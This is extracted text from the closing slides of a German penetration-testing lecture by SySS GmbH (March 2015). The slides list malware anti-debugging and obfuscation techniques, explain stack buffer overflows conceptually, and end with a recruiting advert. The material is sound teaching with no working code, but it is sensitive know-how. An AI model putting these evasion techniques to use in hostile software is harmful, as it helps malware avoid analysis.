Page 278: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

278 März 2015 Penetration Testing

Anti-Debugging

Einige Programme (insbesondere Malware) wehren sich gegen dynamische Analyse. Möglichkeiten: • Win32-API-Aufruf IsDebuggerPresent • Win32-API-Aufruf CheckRemoteDebuggerPresent • Eigenen Code nach Haltepunkten scannen • Zeitnahme (Haltepunkte etc. ) • Win32-API-Aufruf FindWindow (suche nach Debug-

Fenster) • Programm debuggt sich selbst

Page 279: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

279 März 2015 Penetration Testing

Obfuskierung

• String-Verschlüsselung (XOR, etc.)

• Junk Code Insertion

• Self-Modifying Code

• Unaligned Branches

Page 280: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

280 März 2015 Penetration Testing

Optimierung

Lesbarkeit von Assemblercode wird durch Compiler-Optimierung reduziert:

• Eliminierung von ungenutzten Code-Zeilen • Verschachtelung von Codeblöcken (Parallelisierung) • Loop Unrolling • LEA, XOR, SHR • Vermeidung von bedingten Sprüngen • Register-Variablen • …

Page 281: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

281 März 2015 Penetration Testing

Buffer Overflow

• Wenn zuviele Daten in eine lokale Stack-Variable

geschrieben werden, kommt es zur Überschreibung des Stack-Frame. Tritt z.B. auf bei: Eingaben aus Datei, über Netzwerk

• Rücksprungadresse wird überschrieben • Am Ende der Funktion wird an andere Adresse

zurückgesprungen • Manchmal ist es möglich, in den übermittelten Inhalt zu

springen Ausführung beliebigen Codes

Übung: Hello.exe

Page 282: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

282 März 2015 Penetration Testing

Das wars.

Vielen Dank für Ihre Aufmerksamkeit!

Fragen: [email protected]

Page 283: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

283 März 2015 Penetration Testing

DU LIEBST HACKEN? WIR AUCH!

Du

• hast keine Lust auf was Halbgares, sondern lässt dich auf deine Aufgabe ein

• hast eine Idee für eine spannende Abschlussarbeit im Bereich IT-Sicherheit

• möchtest dein Wissen beim Marktführer für Pentests einbringen

• suchst ein Unternehmen mit freundschaftlichem Arbeitsklima und

• stehst auf der guten Seite?

Wir bieten dir • die Betreuung deiner Abschlussarbeit • eine Festanstellung als IT Security Consultant Weitere Informationen: http://www.syss.de/karriere Sichere dir eine spannende Zukunft. Bewirb dich bei SySS! [email protected]

SySS GmbH Wohlboldstraße 8 72072 Tübingen Tel. +49 (0)7071-407856-77